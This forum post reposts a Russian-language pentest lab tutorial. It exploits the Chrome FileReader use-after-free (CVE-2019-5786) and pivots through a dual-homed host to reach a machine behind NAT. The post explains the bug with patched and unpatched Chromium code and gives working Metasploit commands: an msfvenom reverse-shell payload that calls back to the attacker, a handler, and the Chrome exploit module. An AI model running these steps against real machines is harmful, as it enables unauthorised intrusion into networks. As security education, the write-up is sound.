Форум
ПОИСК ПО ФОРУМУ
Портал
ПОИСК ПО ФОРУМУ
Авторы
Что нового
Медиа
Поиск медиа
Архив
Пользователи
Сейчас на форуме
Поиск сообщений в профиле
ПОИСК
Вход
Регистрация
Что нового
ПОИСК ПО ФОРУМУ
Меню
Вход
Регистрация
Установить приложение форума
Установить
Уменьшение отступа
Обратная связь
(info@ru-sfera.pw)
Форум
Безопасность системы
Новости и статьи IT безопасности
Получение meterpreter сессии внутри NAT сети, с помощью Chrome и Pivot машины
JavaScript отключён. Для полноценно использования нашего сайта, пожалуйста, включите JavaScript в своём браузере.
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно.
Необходимо обновить браузер или попробовать использовать
другой
.
Ответить в теме
Сообщение
<blockquote data-quote="0b170xor" data-source="post: 146790" data-attributes="member: 23730"><p style="text-align: center"><a href="https://habr.com/ru/post/489936/" target="_blank"><strong>Оригинал статьи</strong></a></p> <p style="text-align: center"></p> <p style="text-align: center">[ATTACH=full]59463[/ATTACH]</p> <p style="text-align: center"></p><p><span style="font-size: 22px"><strong>Вводная</strong></span></p><p></p><p>Всем привет, в этой статье я хочу поделиться своим опытом в эксплуатации уязвимости Chrome FileReader UAF, проведении техники pivoting, ну и написать свою первую статью конечно.</p><p></p><p>Так как я являюсь начинающим Pentest инженером, то потратил на освоение и понимание этой техники достаточно много времени, ведь мне не достаточно знать на какую кнопку надо нажать, но так же мне важно знать как эта кнопка работает. Естественно, я пытался все это время найти какую-либо информацию по этому вопросу, но так как <em><u>My English level is bad</u></em>, то это заняло у меня намного больше времени, чем я рассчитывал. Возможно, эта статья кому-нибудь поможет не наступить лишний раз на грабли, на которые наступил я при изучении и эксплуатации данной уязвимости, а так же немного разобраться как же она вообще работает и где тут магия.</p><p></p><p><strong>CVE-2019-5786 Chrome FileReader Use After Free(UAF)</strong> — это уязвимость одна из прошлогодних (была найдена 8 мая 2019 года), её давно уже успели пропатчить, но есть вероятность, что остались те люди (админы или обычные юзвери), которые отрубают автоматическое обновление и это нам на руку.</p><p></p><p><span style="font-size: 22px"><strong>Как работает уязвимость?</strong></span></p><p></p><p><a href="https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/" target="_blank">Отличная, подробная статья, которая помогла мне разобраться, почему уязвимость вообще работает тут</a>, ну а если на русском и для таких как я, которым все это трудно дается для начала немного теории JavaScript.</p><p></p><p><span style="font-size: 18px"><strong>Счетчик ссылок</strong></span></p><p></p><p>В js есть такой инструмент как «Счетчик ссылок» — это инструмент на котором основан сборщик мусора и он служит для того, что бы узнать, что та или иная сущность в коде (переменная, объект, массив) больше не нужна и освободить память, которую она использует. Счетчик работает по принципу «Если на объект больше никто не ссылается и его счетчик ссылок равен нулю, значит этот объект не нужен», но это очень грубое объяснение и сейчас это работает намного сложнее и лучше. <a href="https://habr.com/ru/company/ruvds/blog/338150/" target="_blank">Более подробно описанной в этой статье</a>.</p><p></p><p><span style="font-size: 18px"><strong>FileReader</strong></span></p><p></p><p>FileReader — это объект, который позволяет асинхронно читать данные из FIle/Blob объектов, настраивая события для перехвата состояния чтения (loaded, progress, error и.т.д.). Внутри объект имеет метод чтения в ArrayBuffer под именем readToArrayBuffer, в котором и таилась уязвимость, но об этом позже.</p><p></p><p><span style="font-size: 18px"><strong>HTML5 Web-workers</strong></span></p><p></p><p>Web-worker — это поток, который работает в браузере и выполняет произвольный JavaScript код не блокируя основной цикл событий. Таким образом можно достичь многопоточности приложений в браузере, выделив сложные операции в web-worker (например рендер 3D). Так как все операции будут выполняться параллельно, то и общение с web-worker будет немного своеобразным, а именно посредством <strong>postMessage</strong>.</p><p></p><p><span style="font-size: 18px"><strong>postMessage API</strong></span></p><p></p><p>postMessage — это API обмена сообщениями с разными сущностями браузера (iFrame, web-worker, service-worker и.т.д). У этого метода есть одна особенность, которая и позволяет эксплуатировать уязвимость — это её последний необязательный аргумент transfer, который отвечает за то, что бы последовательно передать объекты в пункт назначения и при этом полностью передать владение памятью этих объектов туда-же.</p><p></p><p><span style="font-size: 18px"><strong>Уязвимость</strong></span></p><p></p><p>Уязвимость работает потому, что при каждом перехвате filereader.onprogress в не пропатченной версии хрома нам просто отдается ссылка на ArrayBuffer, который мы читаем.</p><p></p><p>[CODE=cpp]DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {</p><p> DCHECK_EQ(read_type_, kReadAsArrayBuffer);</p><p> if (array_buffer_result_)</p><p> return array_buffer_result_;</p><p></p><p> // If the loading is not started or an error occurs, return an empty result.</p><p> if (!raw_data_ || error_code_ != FileErrorCode::kOK)</p><p> return nullptr;</p><p></p><p> DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());</p><p> if (finished_loading_) {</p><p> array_buffer_result_ = result;</p><p> AdjustReportedMemoryUsageToV8(</p><p> -1 * static_cast<int64_t>(raw_data_->ByteLength()));</p><p> raw_data_.reset();</p><p> }</p><p> return result;</p><p>}[/CODE]</p><p></p><p>а в пропатченной же версии при каждом перехвате filereader.onprogress, нам возвращается новый экземпляр ArrayBuffer.</p><p></p><p>[CODE=cpp]DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {</p><p> DCHECK_EQ(read_type_, kReadAsArrayBuffer);</p><p> if (array_buffer_result_)</p><p> return array_buffer_result_;</p><p></p><p> // If the loading is not started or an error occurs, return an empty result.</p><p> if (!raw_data_ || error_code_ != FileErrorCode::kOK)</p><p> return nullptr;</p><p></p><p> if (!finished_loading_) {</p><p> return DOMArrayBuffer::Create(</p><p> ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));</p><p> }</p><p></p><p> array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());</p><p> AdjustReportedMemoryUsageToV8(-1 *</p><p> static_cast<int64_t>(raw_data_->ByteLength()));</p><p> raw_data_.reset();</p><p> return array_buffer_result_;</p><p>}[/CODE]</p><p></p><p>Этим эксплоит и пользуется сохраняя эти ссылки и передавая в web-worker через postMessage. После передачи первой ссылки на объект, передача последующей не удастся, так как объект к тому времени уже не валиден, ведь мы передали владение памятью объекта в воркер и тем самым повредили его длину. Нам будет выброшена ошибка и сборщик мусора освободит память объекта в воркере но ссылка на эту память останется через второй аргумент, который мы попытались передать, ведь они указывают на одно и тоже пространство в памяти. Дальше это может быть использовано в выполнение любого удаленного кода на усмотрение злоумышленника.</p><p></p><p><span style="font-size: 22px"><strong>Pivoting</strong></span></p><p></p><p>Перед тем как приступить к практике, надо разобрать еще одну составляющую, которая нам понадобится в дальнейшем — <strong>Pivoting</strong>, для этого давайте разберем один тестовый кейс.</p><p></p><p>[ATTACH=full]59462[/ATTACH]</p><p></p><p>В этом примере у нас есть:</p><ul> <li data-xf-list-type="ul">Сам пентестер (Kali linux).</li> <li data-xf-list-type="ul">Корпоративная NAT сеть.</li> <li data-xf-list-type="ul"><strong>HiTM (Host in the middle)</strong> — это хост, который в нашем случае смотрит в мир и во внутреннюю сеть одновременно, тем самым доставляя запросы из внешней сети во внутреннюю корпоративную сеть и наоборот (является неким прокси).</li> </ul><p></p><p>NAT или же <strong>Network Address Translation</strong> можно как раз таки представить в виде нашей <strong>HiTM машины</strong>, ведь этот механизм служит для организации приёмки пакетов из вне, на один внешний IP адрес и трансляции их в нужную точку назначения внутри NAT сети (любой IP адрес внутренней сети). Тем самым достигается сохранение числа IP адресов путем создания внутренней подсети с одной точкой входа для всех пакетов из вне.</p><p></p><p>Еще одним простым примером NAT является любой домашний роутер, так как он принимает пакеты на один свой сетевой интерфейс с одним внешним для всего мира IP адресом и перенаправляет пакеты уже во внутреннюю сеть, на наши устройства (телефоны/ноутбуки/планшеты).</p><p></p><p>И так на картинке видно, что если мы получим доступ к HiTM машине, которая в свою очередь имеет доступ во внутреннюю сеть, то дальше мы сможем расширить диапазон атаки и проникнуть в эту самую неприступную внутреннюю сеть, а ведь это и есть наша цель!</p><p></p><p>Pivot машиной, как раз и будет являться наша HiTM, так как мы будем производить все манипуляции от её имени, что бы не вызывать подозрений внутри корпоративной сети. В принципе это и есть Pivoting — компрометация хоста, который имеет доступ в нужную нам сеть и выполнение манипуляций от его имени.</p><p></p><p><span style="font-size: 22px"><strong>Практика</strong></span></p><p></p><p>Входные данные для настройки лаборатории:</p><ul> <li data-xf-list-type="ul">Virtual Box (ну либо VMWare кому как больше нравится).</li> <li data-xf-list-type="ul">Виртуалка с Kali linux (Пентестер).</li> <li data-xf-list-type="ul">Виртуалка с Windows 7 (жертва).</li> <li data-xf-list-type="ul">Виртуалка с Linux (HiTM machine).</li> <li data-xf-list-type="ul">Можно накидать еще каких-нибудь машин, если производительность позволяет для имитации сети, но для лабораторной можно обойтись и без них.</li> </ul><p></p><p>Настройка лабораторной:</p><ol> <li data-xf-list-type="ol">Настраиваем в Virtual box 2 NAT сетки одну называем например <strong>KaliNetwork — 10.0.2.0/24</strong>, другую <strong>VMNetwork — 10.0.3.0/24</strong> (сделать это можно через <strong>preferences/network</strong>).</li> <li data-xf-list-type="ol">[ATTACH=full]59464[/ATTACH]</li> <li data-xf-list-type="ol">В настройках виртуалки Kali, в параметрах Network, ставим NAT network и выбираем KaliNetwork.</li> <li data-xf-list-type="ol">В настройках машины жертвы (Windows 7) выбираем NAT Network и VMNetwork.</li> <li data-xf-list-type="ol">На нашей промежуточной машине у нас должно быть активировано два сетевых интерфейса, один должен смотреть в KaliNetwork, а второй в VMNetwork.</li> <li data-xf-list-type="ol">На нашей промежуточной машине должен быть установлен и запущен ssh сервер и настроена политика предоставления доступа к ssh тунелям всем пользователям сети (об этом ниже), при помощи параметра GatewayPorts = yes в файле /etc/ssh/sshd_config</li> <li data-xf-list-type="ol">[ATTACH=full]59465[/ATTACH]</li> <li data-xf-list-type="ol">На машине жертвы должен быть установлен Chrome версии <strong>72.0.3626.119</strong> и отключены его обновления.</li> </ol><p></p><p>На этом настройка законченна, запускаем машины и начинаем.</p><p></p><p>Первым делом сканируем сеть и вычисляем хосты. Для этого нам подойдёт любая утилита для сканирования, я же предпочитаю пользоваться nmap, так как у него на мой взгляд самый обширный функционал, понятный мануал, куча гайдов как сделать то что вам нужно на просторах гугла.</p><p></p><p>[CODE]nmap -n -sn 10.0.2.0/24[/CODE]</p><p></p><p>Этой командой я заставляю nmap провести ping сканирование подсети <strong>10.0.2.0/24</strong> (пролиновать все хосты от 10.0.2.1 до 10.0.2.255) и не делать сканирование портов потому, что нам знать о них ненужно в данной лаборатории (давайте представим, что мы уже знаем как попасть на машину, которая нам нужна дабы не увеличивать статью вдвое).</p><p></p><p>[ATTACH=full]59466[/ATTACH]</p><p></p><p>И так что мы нашли?</p><ul> <li data-xf-list-type="ul"><strong>10.0.2.7</strong> — это наша виртуалка с Kali.</li> <li data-xf-list-type="ul"><strong>10.0.2.5</strong> — Эта наша будущая pivot машина.</li> <li data-xf-list-type="ul">Остальные хосты тут просто поддержка сети в virtual box на них мы внимания не обращаем.</li> </ul><p></p><p>Теперь нам нужно получить доступ к нашей HiTM тачке. Для этого мы будем использовать <strong>Metasploit framework</strong> — это набор утилит и скриптов, который используется для эксплуатации большинства уязвимостей и база этих уязвимостей постоянно пополняется.</p><p></p><p>Что бы удобно работать с metasploit мы войдем в интерактивную консоль при помощи команды.</p><p></p><p>[CODE]msfconsole -q[/CODE]</p><p></p><p>А дальше выполним последовательность инструкций.</p><p></p><p>[CODE=bash]use exploit/multi/handler</p><p>set payload linux/x86/meterpreter/reverse_tcp</p><p>set LHOST 10.0.2.7</p><p>exploit -j[/CODE]</p><p></p><p>Теперь по порядку:</p><ul> <li data-xf-list-type="ul"><strong>use exploit/multi/handler</strong> это модуль metasploit, который предназначен для перехвата поступающих на его сокет соединений.</li> <li data-xf-list-type="ul"><strong>set payload linux/x86/meterpreter/reverce_tcp</strong> это модуль полезной нагрузки, который отвечает за создание интерактивной сессии meterpreter а reverse_tcp означает, что подключаться будем не мы а к нам. Если бы нам нужно было подключиться к жертве самостоятельно, мы должны были бы использовать модуль bind_tcp.</li> <li data-xf-list-type="ul"><strong>set LHOST 10.0.2.7</strong> устанавливаем адрес хоста, к которому машина жертвы будет подключатся (порт оставим стандартный 4444).</li> <li data-xf-list-type="ul"><strong>exploit -j</strong> включаем наш эксплоит и ждем соединений.</li> </ul><p></p><p>Просто так к нам никто подключаться не будет, поэтому нам надо сгенерировать, доставить и запустить на машине жертвы эксплоит, который будет держать коннект к нашей Kali.</p><p></p><p>Для этого через утилиту metasploit msfvenom мы сгенерируем бинарный файл и запустим его на нашей HiTM машине. Для генерации нам нужна команда.</p><p></p><p>[CODE]msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.7 LPORT=4444 -f elf > ./expl.elf[/CODE]</p><p></p><p>[ATTACH=full]59467[/ATTACH]</p><p></p><p>Как доставить этот файл на машину жертвы решать вам (это не входит в рамки данной статьи).</p><p>Я же перебросил её просто через ssh командой:</p><p></p><p>[CODE]scp ./expl.elf username@10.0.2.5:’expl.elf'[/CODE]</p><p></p><p>Ну и после запуска файла на HiTM получил желанную сессию.</p><p></p><p>[ATTACH=full]59468[/ATTACH]</p><p></p><p>Теперь зайдём и убедимся что эта та машина, которая нам нужна для этого войдем в meterpreter сессию.</p><p></p><p>[CODE]sessions -i 1[/CODE]</p><p></p><p>И выполним <strong>ifconfig</strong> дабы убедиться, что эта машина имеет интерфейс в сети <strong>10.0.3.0/24</strong>.</p><p></p><p>[ATTACH=full]59469[/ATTACH]</p><p></p><p>Итак мы скомпрометировали машину, которая знает о существовании сети в которой есть машина жертвы, теперь скомпроментированная машина является для нас <strong>Pivot</strong> машиной и от её имени мы будем развивать нашу атаку дальше.</p><p></p><p>Для начала нам нужно сделать проброс портов. Дело в том что нам нужно получить от машины жертвы такую же интерактивную сессию, как и с pivot машины, что бы дальше продолжать свою атаку, но машина жертвы не знает по какому пути ей нужно к нам подключаться, ведь ее подсеть 10.0.3.0/24 отличается от нашей подсети 10.0.2.0/24 и теперь, даже если мы закинем payload каким-нибудь образом на машину жертвы, толку от этого не будет никакого.</p><p></p><p>Но если мы заставим нашу pivot машину проксировать все, что приходит к ней на определенный порт, к нам на тот же порт а от нас к машине жертвы, тогда мы с легкостью сможем получить сессию при помощи уязвимости хрома.</p><p></p><p>Что бы пробросить порты и создать тунель мы можем воспользоваться кучей разных утилит, даже самим metasploit, но самым простым способом будет использовать обычный <strong>ssh</strong>.</p><p></p><p>Нам нужно пробросить 2 порта:</p><ul> <li data-xf-list-type="ul"><strong>8080</strong> — так как уязвимость работает с браузером и немного нацелена на веб.</li> <li data-xf-list-type="ul"><strong>5555</strong> — или любой другой для meterpreter сессии.</li> </ul><p></p><p>На картинке ниже показан результат с командами запуска для проброса портов на pivot машину.</p><p></p><p>[ATTACH=full]59470[/ATTACH]</p><p></p><p>Теперь, давайте загрузим в metasploit нужный нам эксплоит и настроим его.</p><p></p><p>[CODE=bash]use exploit/windows/browser/chrome_filereader_uaf</p><p>set payload windows/meterpreter/reverse_tcp</p><p>set LHOST 10.0.3.6</p><p>set LPORT 5555</p><p>set EXITFUNC thread</p><p>set URRIPATH /</p><p>exploit -j[/CODE]</p><p></p><p>Снова разберем каждую команду</p><ul> <li data-xf-list-type="ul"><strong>use exploit/windows/browser/chrome_filreader_uaf</strong> загрузили модуль, который будет эксплуатировать уязвимость хрома.</li> <li data-xf-list-type="ul"><strong>set payload windows/meterpreter/reverse_tcp</strong> модуль meterpreter для windows.</li> <li data-xf-list-type="ul"><strong>set LHOST 10.0.3.6</strong> устанавливаем хост, такой же как у нашей pivot машины, но в сети VMNetwork, это нужно для того что бы когда жертва попытаться открыть tcp соединение к pivot машине, pivot машина проксировала этот запрос к нам и таким образом соединение откроется к нам по прямому туннелю.</li> <li data-xf-list-type="ul"><strong>set LPORT 5555</strong> устанавливаем порт в 5555, так как стандартный 4444 уже занят соединением с pivot машиной.</li> <li data-xf-list-type="ul"><strong>set EXITFUNC thread</strong> это одна полезная опция при которой, в случае неудачи на машине жертвы закроется не целый процесс, как это указанно по-умолчанию, а всего лишь поток, так мы уменьшаем вероятность случайно закрашить машину жертвы и подставить себя.</li> <li data-xf-list-type="ul"><strong>set URIPATH /</strong> это установит точку входа для эксплоита, теперь, когда пользователь перейдет по пути <a href="http://10.0.3.6:8080/" target="_blank">http://10.0.3.6:8080/</a> эксплоит начнет свое действие, можно указать любой другой путь.</li> </ul><p></p><p>Теперь, идем на машину жертвы и запускаем chrome, но не просто так, а с параметром <strong>—no-sandbox</strong> сделать это можно например при помощи командной строки.</p><p></p><p>[CODE]chrome.exe —-no-sandbox[/CODE]</p><p></p><p>Ну и на по следок, идем по IP, который указали в LHOST <strong><a href="http://10.0.3.6:8080/" target="_blank">http://10.0.3.6:8080/</a></strong> — порт 8080, это порт, который используется эксплоитом, по-умолчанию его можно поменять на любой другой, как и другие параметры.</p><p></p><p>[ATTACH=full]59471[/ATTACH]</p><p></p><p>Если мы видим в консоли что-то вроде этого, значит эксплоит отработал на ура и у нас появилась вторая сессия meterpreter, но уже к виндовому хосту.</p><p></p><p>[ATTACH=full]59472[/ATTACH]</p><p></p><p>Вот в принципе и все, победа, дальше можем развивать нашу атаку как захотим. Конечно для эксплуатации этой уязвимости слишком много звезд должно сойтись, но сети бывают разные и люди тоже, поэтому по моему скромному мнению знание об этой уязвимости не будут лишними, хотя кто знает.</p><p></p><p><span style="font-size: 22px"><strong>Материалы</strong></span></p><ul> <li data-xf-list-type="ul"><a href="https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/" target="_blank">WriteUp от Exodus intelligence по поводу уязвимости CVE-2019-5786</a></li> <li data-xf-list-type="ul"><a href="https://habr.com/ru/company/ruvds/blog/338150/" target="_blank">Статья о работе c памятью в JavaScript</a></li> <li data-xf-list-type="ul"><a href="https://www.offensive-security.com/metasploit-unleashed/" target="_blank">Курс в текстовом формате от Offensive Security по Metasploit fraemwork</a></li> <li data-xf-list-type="ul"><a href="https://habr.com/ru/post/326148/" target="_blank">Хорошая статья про Pivoting и проброс портов</a></li> </ul></blockquote><p></p>
[QUOTE="0b170xor, post: 146790, member: 23730"] [CENTER][URL='https://habr.com/ru/post/489936/'][B]Оригинал статьи[/B][/URL] [ATTACH=full]59463[/ATTACH] [/CENTER] [SIZE=6][B]Вводная[/B][/SIZE] Всем привет, в этой статье я хочу поделиться своим опытом в эксплуатации уязвимости Chrome FileReader UAF, проведении техники pivoting, ну и написать свою первую статью конечно. Так как я являюсь начинающим Pentest инженером, то потратил на освоение и понимание этой техники достаточно много времени, ведь мне не достаточно знать на какую кнопку надо нажать, но так же мне важно знать как эта кнопка работает. Естественно, я пытался все это время найти какую-либо информацию по этому вопросу, но так как [I][U]My English level is bad[/U][/I], то это заняло у меня намного больше времени, чем я рассчитывал. Возможно, эта статья кому-нибудь поможет не наступить лишний раз на грабли, на которые наступил я при изучении и эксплуатации данной уязвимости, а так же немного разобраться как же она вообще работает и где тут магия. [B]CVE-2019-5786 Chrome FileReader Use After Free(UAF)[/B] — это уязвимость одна из прошлогодних (была найдена 8 мая 2019 года), её давно уже успели пропатчить, но есть вероятность, что остались те люди (админы или обычные юзвери), которые отрубают автоматическое обновление и это нам на руку. [SIZE=6][B]Как работает уязвимость?[/B][/SIZE] [URL='https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/']Отличная, подробная статья, которая помогла мне разобраться, почему уязвимость вообще работает тут[/URL], ну а если на русском и для таких как я, которым все это трудно дается для начала немного теории JavaScript. [SIZE=5][B]Счетчик ссылок[/B][/SIZE] В js есть такой инструмент как «Счетчик ссылок» — это инструмент на котором основан сборщик мусора и он служит для того, что бы узнать, что та или иная сущность в коде (переменная, объект, массив) больше не нужна и освободить память, которую она использует. Счетчик работает по принципу «Если на объект больше никто не ссылается и его счетчик ссылок равен нулю, значит этот объект не нужен», но это очень грубое объяснение и сейчас это работает намного сложнее и лучше. [URL='https://habr.com/ru/company/ruvds/blog/338150/']Более подробно описанной в этой статье[/URL]. [SIZE=5][B]FileReader[/B][/SIZE] FileReader — это объект, который позволяет асинхронно читать данные из FIle/Blob объектов, настраивая события для перехвата состояния чтения (loaded, progress, error и.т.д.). Внутри объект имеет метод чтения в ArrayBuffer под именем readToArrayBuffer, в котором и таилась уязвимость, но об этом позже. [SIZE=5][B]HTML5 Web-workers[/B][/SIZE] Web-worker — это поток, который работает в браузере и выполняет произвольный JavaScript код не блокируя основной цикл событий. Таким образом можно достичь многопоточности приложений в браузере, выделив сложные операции в web-worker (например рендер 3D). Так как все операции будут выполняться параллельно, то и общение с web-worker будет немного своеобразным, а именно посредством [B]postMessage[/B]. [SIZE=5][B]postMessage API[/B][/SIZE] postMessage — это API обмена сообщениями с разными сущностями браузера (iFrame, web-worker, service-worker и.т.д). У этого метода есть одна особенность, которая и позволяет эксплуатировать уязвимость — это её последний необязательный аргумент transfer, который отвечает за то, что бы последовательно передать объекты в пункт назначения и при этом полностью передать владение памятью этих объектов туда-же. [SIZE=5][B]Уязвимость[/B][/SIZE] Уязвимость работает потому, что при каждом перехвате filereader.onprogress в не пропатченной версии хрома нам просто отдается ссылка на ArrayBuffer, который мы читаем. [CODE=cpp]DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() { DCHECK_EQ(read_type_, kReadAsArrayBuffer); if (array_buffer_result_) return array_buffer_result_; // If the loading is not started or an error occurs, return an empty result. if (!raw_data_ || error_code_ != FileErrorCode::kOK) return nullptr; DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); if (finished_loading_) { array_buffer_result_ = result; AdjustReportedMemoryUsageToV8( -1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); } return result; }[/CODE] а в пропатченной же версии при каждом перехвате filereader.onprogress, нам возвращается новый экземпляр ArrayBuffer. [CODE=cpp]DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() { DCHECK_EQ(read_type_, kReadAsArrayBuffer); if (array_buffer_result_) return array_buffer_result_; // If the loading is not started or an error occurs, return an empty result. if (!raw_data_ || error_code_ != FileErrorCode::kOK) return nullptr; if (!finished_loading_) { return DOMArrayBuffer::Create( ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength())); } array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer()); AdjustReportedMemoryUsageToV8(-1 * static_cast<int64_t>(raw_data_->ByteLength())); raw_data_.reset(); return array_buffer_result_; }[/CODE] Этим эксплоит и пользуется сохраняя эти ссылки и передавая в web-worker через postMessage. После передачи первой ссылки на объект, передача последующей не удастся, так как объект к тому времени уже не валиден, ведь мы передали владение памятью объекта в воркер и тем самым повредили его длину. Нам будет выброшена ошибка и сборщик мусора освободит память объекта в воркере но ссылка на эту память останется через второй аргумент, который мы попытались передать, ведь они указывают на одно и тоже пространство в памяти. Дальше это может быть использовано в выполнение любого удаленного кода на усмотрение злоумышленника. [SIZE=6][B]Pivoting[/B][/SIZE] Перед тем как приступить к практике, надо разобрать еще одну составляющую, которая нам понадобится в дальнейшем — [B]Pivoting[/B], для этого давайте разберем один тестовый кейс. [ATTACH=full]59462[/ATTACH] В этом примере у нас есть: [LIST] [*]Сам пентестер (Kali linux). [*]Корпоративная NAT сеть. [*][B]HiTM (Host in the middle)[/B] — это хост, который в нашем случае смотрит в мир и во внутреннюю сеть одновременно, тем самым доставляя запросы из внешней сети во внутреннюю корпоративную сеть и наоборот (является неким прокси). [/LIST] NAT или же [B]Network Address Translation[/B] можно как раз таки представить в виде нашей [B]HiTM машины[/B], ведь этот механизм служит для организации приёмки пакетов из вне, на один внешний IP адрес и трансляции их в нужную точку назначения внутри NAT сети (любой IP адрес внутренней сети). Тем самым достигается сохранение числа IP адресов путем создания внутренней подсети с одной точкой входа для всех пакетов из вне. Еще одним простым примером NAT является любой домашний роутер, так как он принимает пакеты на один свой сетевой интерфейс с одним внешним для всего мира IP адресом и перенаправляет пакеты уже во внутреннюю сеть, на наши устройства (телефоны/ноутбуки/планшеты). И так на картинке видно, что если мы получим доступ к HiTM машине, которая в свою очередь имеет доступ во внутреннюю сеть, то дальше мы сможем расширить диапазон атаки и проникнуть в эту самую неприступную внутреннюю сеть, а ведь это и есть наша цель! Pivot машиной, как раз и будет являться наша HiTM, так как мы будем производить все манипуляции от её имени, что бы не вызывать подозрений внутри корпоративной сети. В принципе это и есть Pivoting — компрометация хоста, который имеет доступ в нужную нам сеть и выполнение манипуляций от его имени. [SIZE=6][B]Практика[/B][/SIZE] Входные данные для настройки лаборатории: [LIST] [*]Virtual Box (ну либо VMWare кому как больше нравится). [*]Виртуалка с Kali linux (Пентестер). [*]Виртуалка с Windows 7 (жертва). [*]Виртуалка с Linux (HiTM machine). [*]Можно накидать еще каких-нибудь машин, если производительность позволяет для имитации сети, но для лабораторной можно обойтись и без них. [/LIST] Настройка лабораторной: [LIST=1] [*]Настраиваем в Virtual box 2 NAT сетки одну называем например [B]KaliNetwork — 10.0.2.0/24[/B], другую [B]VMNetwork — 10.0.3.0/24[/B] (сделать это можно через [B]preferences/network[/B]). [*][ATTACH=full]59464[/ATTACH] [*]В настройках виртуалки Kali, в параметрах Network, ставим NAT network и выбираем KaliNetwork. [*]В настройках машины жертвы (Windows 7) выбираем NAT Network и VMNetwork. [*]На нашей промежуточной машине у нас должно быть активировано два сетевых интерфейса, один должен смотреть в KaliNetwork, а второй в VMNetwork. [*]На нашей промежуточной машине должен быть установлен и запущен ssh сервер и настроена политика предоставления доступа к ssh тунелям всем пользователям сети (об этом ниже), при помощи параметра GatewayPorts = yes в файле /etc/ssh/sshd_config [*][ATTACH=full]59465[/ATTACH] [*]На машине жертвы должен быть установлен Chrome версии [B]72.0.3626.119[/B] и отключены его обновления. [/LIST] На этом настройка законченна, запускаем машины и начинаем. Первым делом сканируем сеть и вычисляем хосты. Для этого нам подойдёт любая утилита для сканирования, я же предпочитаю пользоваться nmap, так как у него на мой взгляд самый обширный функционал, понятный мануал, куча гайдов как сделать то что вам нужно на просторах гугла. [CODE]nmap -n -sn 10.0.2.0/24[/CODE] Этой командой я заставляю nmap провести ping сканирование подсети [B]10.0.2.0/24[/B] (пролиновать все хосты от 10.0.2.1 до 10.0.2.255) и не делать сканирование портов потому, что нам знать о них ненужно в данной лаборатории (давайте представим, что мы уже знаем как попасть на машину, которая нам нужна дабы не увеличивать статью вдвое). [ATTACH=full]59466[/ATTACH] И так что мы нашли? [LIST] [*][B]10.0.2.7[/B] — это наша виртуалка с Kali. [*][B]10.0.2.5[/B] — Эта наша будущая pivot машина. [*]Остальные хосты тут просто поддержка сети в virtual box на них мы внимания не обращаем. [/LIST] Теперь нам нужно получить доступ к нашей HiTM тачке. Для этого мы будем использовать [B]Metasploit framework[/B] — это набор утилит и скриптов, который используется для эксплуатации большинства уязвимостей и база этих уязвимостей постоянно пополняется. Что бы удобно работать с metasploit мы войдем в интерактивную консоль при помощи команды. [CODE]msfconsole -q[/CODE] А дальше выполним последовательность инструкций. [CODE=bash]use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 10.0.2.7 exploit -j[/CODE] Теперь по порядку: [LIST] [*][B]use exploit/multi/handler[/B] это модуль metasploit, который предназначен для перехвата поступающих на его сокет соединений. [*][B]set payload linux/x86/meterpreter/reverce_tcp[/B] это модуль полезной нагрузки, который отвечает за создание интерактивной сессии meterpreter а reverse_tcp означает, что подключаться будем не мы а к нам. Если бы нам нужно было подключиться к жертве самостоятельно, мы должны были бы использовать модуль bind_tcp. [*][B]set LHOST 10.0.2.7[/B] устанавливаем адрес хоста, к которому машина жертвы будет подключатся (порт оставим стандартный 4444). [*][B]exploit -j[/B] включаем наш эксплоит и ждем соединений. [/LIST] Просто так к нам никто подключаться не будет, поэтому нам надо сгенерировать, доставить и запустить на машине жертвы эксплоит, который будет держать коннект к нашей Kali. Для этого через утилиту metasploit msfvenom мы сгенерируем бинарный файл и запустим его на нашей HiTM машине. Для генерации нам нужна команда. [CODE]msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.7 LPORT=4444 -f elf > ./expl.elf[/CODE] [ATTACH=full]59467[/ATTACH] Как доставить этот файл на машину жертвы решать вам (это не входит в рамки данной статьи). Я же перебросил её просто через ssh командой: [CODE]scp ./expl.elf username@10.0.2.5:’expl.elf'[/CODE] Ну и после запуска файла на HiTM получил желанную сессию. [ATTACH=full]59468[/ATTACH] Теперь зайдём и убедимся что эта та машина, которая нам нужна для этого войдем в meterpreter сессию. [CODE]sessions -i 1[/CODE] И выполним [B]ifconfig[/B] дабы убедиться, что эта машина имеет интерфейс в сети [B]10.0.3.0/24[/B]. [ATTACH=full]59469[/ATTACH] Итак мы скомпрометировали машину, которая знает о существовании сети в которой есть машина жертвы, теперь скомпроментированная машина является для нас [B]Pivot[/B] машиной и от её имени мы будем развивать нашу атаку дальше. Для начала нам нужно сделать проброс портов. Дело в том что нам нужно получить от машины жертвы такую же интерактивную сессию, как и с pivot машины, что бы дальше продолжать свою атаку, но машина жертвы не знает по какому пути ей нужно к нам подключаться, ведь ее подсеть 10.0.3.0/24 отличается от нашей подсети 10.0.2.0/24 и теперь, даже если мы закинем payload каким-нибудь образом на машину жертвы, толку от этого не будет никакого. Но если мы заставим нашу pivot машину проксировать все, что приходит к ней на определенный порт, к нам на тот же порт а от нас к машине жертвы, тогда мы с легкостью сможем получить сессию при помощи уязвимости хрома. Что бы пробросить порты и создать тунель мы можем воспользоваться кучей разных утилит, даже самим metasploit, но самым простым способом будет использовать обычный [B]ssh[/B]. Нам нужно пробросить 2 порта: [LIST] [*][B]8080[/B] — так как уязвимость работает с браузером и немного нацелена на веб. [*][B]5555[/B] — или любой другой для meterpreter сессии. [/LIST] На картинке ниже показан результат с 